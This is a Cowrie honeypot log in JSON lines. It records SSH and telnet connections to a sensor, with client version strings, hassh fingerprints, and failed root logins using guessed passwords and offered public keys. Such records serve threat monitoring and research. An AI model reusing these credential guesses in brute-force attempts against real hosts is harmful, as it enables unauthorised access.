{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:53.716699Z","src_ip":"212.227.125.15","session":"8e15aad6eaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"free","message":"login attempt [root/free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:54.068980Z","src_ip":"212.227.125.15","session":"8e15aad6eaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:55.151855Z","src_ip":"212.227.125.15","session":"8e15aad6eaef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.134.232","src_port":36422,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebf76d55339","protocol":"telnet","message":"New connection: 71.6.134.232:36422 (159.203.135.109:23) [session: 7ebf76d55339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:02.051333Z"}
{"eventid":"cowrie.session.closed","duration":0.006192922592163086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:02.057403Z","src_ip":"71.6.134.232","session":"7ebf76d55339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.30.167","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebfa3958cd8b","protocol":"telnet","message":"New connection: 132.148.30.167:55886 (159.203.135.109:23) [session: ebfa3958cd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:04.633297Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46900,"dst_ip":"159.203.135.109","dst_port":23,"session":"5772c8d8ef7b","protocol":"telnet","message":"New connection: 135.148.14.151:46900 (159.203.135.109:23) [session: 5772c8d8ef7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:08.885927Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7d4cfbd0da","protocol":"telnet","message":"New connection: 135.148.14.151:45486 (159.203.135.109:23) [session: 4e7d4cfbd0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:18.154077Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":37584,"dst_ip":"10.17.0.5","dst_port":22,"session":"369789075473","protocol":"ssh","message":"New connection: 89.108.118.91:37584 (10.17.0.5:22) [session: 369789075473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:26.670048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:26.674811Z","src_ip":"89.108.118.91","session":"369789075473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:26.806851Z","src_ip":"89.108.118.91","session":"369789075473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katyakatya","message":"login attempt [root/katyakatya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:27.202085Z","src_ip":"89.108.118.91","session":"369789075473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:28.337438Z","src_ip":"89.108.118.91","session":"369789075473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55692,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf11226a0936","protocol":"telnet","message":"New connection: 135.148.14.151:55692 (159.203.135.109:23) [session: bf11226a0936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:31.137491Z"}
{"eventid":"cowrie.session.closed","duration":31.08050012588501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:35.713656Z","src_ip":"132.148.30.167","session":"ebfa3958cd8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34363675117493,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:43.229439Z","src_ip":"135.148.14.151","session":"5772c8d8ef7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39218,"dst_ip":"10.17.0.5","dst_port":22,"session":"14fd92be87bc","protocol":"ssh","message":"New connection: 185.236.22.41:39218 (10.17.0.5:22) [session: 14fd92be87bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:45.582063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:45.587671Z","src_ip":"185.236.22.41","session":"14fd92be87bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:45.703406Z","src_ip":"185.236.22.41","session":"14fd92be87bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanushka","message":"login attempt [root/tanushka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:46.045927Z","src_ip":"185.236.22.41","session":"14fd92be87bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:47.164346Z","src_ip":"185.236.22.41","session":"14fd92be87bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.402167558670044,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:49:54.556132Z","src_ip":"135.148.14.151","session":"4e7d4cfbd0da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.021827936172485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:50:03.159196Z","src_ip":"135.148.14.151","session":"bf11226a0936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":39454,"dst_ip":"159.203.135.109","dst_port":22,"session":"249e09b846d7","protocol":"ssh","message":"New connection: 176.32.39.21:39454 (159.203.135.109:22) [session: 249e09b846d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:05.663954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:05.673166Z","src_ip":"176.32.39.21","session":"249e09b846d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:05.792979Z","src_ip":"176.32.39.21","session":"249e09b846d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybhdfyf","message":"login attempt [root/ybhdfyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:06.160452Z","src_ip":"176.32.39.21","session":"249e09b846d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:07.288203Z","src_ip":"176.32.39.21","session":"249e09b846d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fd26360b1a","protocol":"telnet","message":"New connection: 135.148.14.151:57620 (159.203.135.109:23) [session: e7fd26360b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:32.065633Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a1e1b6bcaa","protocol":"telnet","message":"New connection: 135.148.14.151:36402 (159.203.135.109:23) [session: f9a1e1b6bcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:46.401122Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39308,"dst_ip":"159.203.135.109","dst_port":23,"session":"a056a2bfffc3","protocol":"telnet","message":"New connection: 135.148.14.151:39308 (159.203.135.109:23) [session: a056a2bfffc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:51:52.119208Z"}
{"eventid":"cowrie.session.closed","duration":40.98587369918823,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:13.051395Z","src_ip":"135.148.14.151","session":"e7fd26360b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47852,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d78a76d26b8","protocol":"telnet","message":"New connection: 135.148.14.151:47852 (159.203.135.109:23) [session: 1d78a76d26b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:15.841567Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ff97a946ac","protocol":"telnet","message":"New connection: 135.148.14.151:51928 (159.203.135.109:23) [session: d2ff97a946ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:16.963705Z"}
{"eventid":"cowrie.session.closed","duration":37.061439037323,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:23.462444Z","src_ip":"135.148.14.151","session":"f9a1e1b6bcaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24ee34c7318","protocol":"telnet","message":"New connection: 135.148.14.151:32928 (159.203.135.109:23) [session: f24ee34c7318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:36.936425Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d62e5133aa8","protocol":"telnet","message":"New connection: 135.148.14.151:36166 (159.203.135.109:23) [session: 5d62e5133aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:44.326376Z"}
{"eventid":"cowrie.session.closed","duration":31.838598489761353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:47.680061Z","src_ip":"135.148.14.151","session":"1d78a76d26b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5788037776947,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:52.542412Z","src_ip":"135.148.14.151","session":"d2ff97a946ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"7524ddf42419","protocol":"telnet","message":"New connection: 135.148.14.151:39602 (159.203.135.109:23) [session: 7524ddf42419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:55.301071Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":17064,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb192492657","protocol":"ssh","message":"New connection: 68.235.61.155:17064 (10.17.0.5:22) [session: 4eb192492657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.366086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.370692Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.402782Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:ec:1e:13:6f:29:52:86:17:c1:8d:eb:11:c0:de:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2pYW4OoaLZ5N6Bda9HMcZV1NjpZznkUcMvi9srutVfp+XLNKg9QJiMefGWTMnIWrZbTwzCiEJuSt/msWzfe1XE72R7Y/F5H2ZS2TkE/qrAK2gxLdlRui3FE4Azv/xBdroLHX/q4Eje/B18+xzEVyL50lMKKSv5H5mIxghI+GIb652/wf4upORiUMElKQLwMPBoCpS1OXnrNoQQTnr0pjmk7mRyGAMD8L121U54ko09H0TQtJ8PCqArW4VOIsry6qa3KbLPcyqrOnCPJw3P+gCgv3vISbjJOwGQJsU6aBeUe2YMID6lGuCX37iVl1HFQPUsQnmljyRGN+cnhvsJiwT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:ec:1e:13:6f:29:52:86:17:c1:8d:eb:11:c0:de:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.541569Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:ec:1e:13:6f:29:52:86:17:c1:8d:eb:11:c0:de:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2pYW4OoaLZ5N6Bda9HMcZV1NjpZznkUcMvi9srutVfp+XLNKg9QJiMefGWTMnIWrZbTwzCiEJuSt/msWzfe1XE72R7Y/F5H2ZS2TkE/qrAK2gxLdlRui3FE4Azv/xBdroLHX/q4Eje/B18+xzEVyL50lMKKSv5H5mIxghI+GIb652/wf4upORiUMElKQLwMPBoCpS1OXnrNoQQTnr0pjmk7mRyGAMD8L121U54ko09H0TQtJ8PCqArW4VOIsry6qa3KbLPcyqrOnCPJw3P+gCgv3vISbjJOwGQJsU6aBeUe2YMID6lGuCX37iVl1HFQPUsQnmljyRGN+cnhvsJiwT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.545722Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:eb:5b:31:d8:39:a6:44:ee:86:46:7f:f1:a8:8d:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2ILej01ggPUGPBoFDjjwwMJJ29ar0OWSA9rD5ryZryP1BBQfyt0+7MaJj5EDSnxE53hXbAf1mO1eySCtT3j8nQni0fbjlhzs8gfzPWqmTQrBnvOqI3ptFQCBbj6Hq7IzNfUYrPFq7nxB72IoKl82Exxbqi73TOHEc/qyv+QKmWbO4Gocp1Wkq5NepcxIUEvqzC3jjRXnd7ZK5BiHdzaai+PI0VyRMSX0XCvJQHn/RGxD9elJp7hkIDWheG7ON2wk0N7AmG879vxRzzMPigZc9jV9mE/a1CdbQkdnGwgzELKpkT4QAIvqGUOrBk/MeTRtQRa47fSCihEysaoVVJdRoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:eb:5b:31:d8:39:a6:44:ee:86:46:7f:f1:a8:8d:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.588029Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:eb:5b:31:d8:39:a6:44:ee:86:46:7f:f1:a8:8d:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2ILej01ggPUGPBoFDjjwwMJJ29ar0OWSA9rD5ryZryP1BBQfyt0+7MaJj5EDSnxE53hXbAf1mO1eySCtT3j8nQni0fbjlhzs8gfzPWqmTQrBnvOqI3ptFQCBbj6Hq7IzNfUYrPFq7nxB72IoKl82Exxbqi73TOHEc/qyv+QKmWbO4Gocp1Wkq5NepcxIUEvqzC3jjRXnd7ZK5BiHdzaai+PI0VyRMSX0XCvJQHn/RGxD9elJp7hkIDWheG7ON2wk0N7AmG879vxRzzMPigZc9jV9mE/a1CdbQkdnGwgzELKpkT4QAIvqGUOrBk/MeTRtQRa47fSCihEysaoVVJdRoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.592589Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
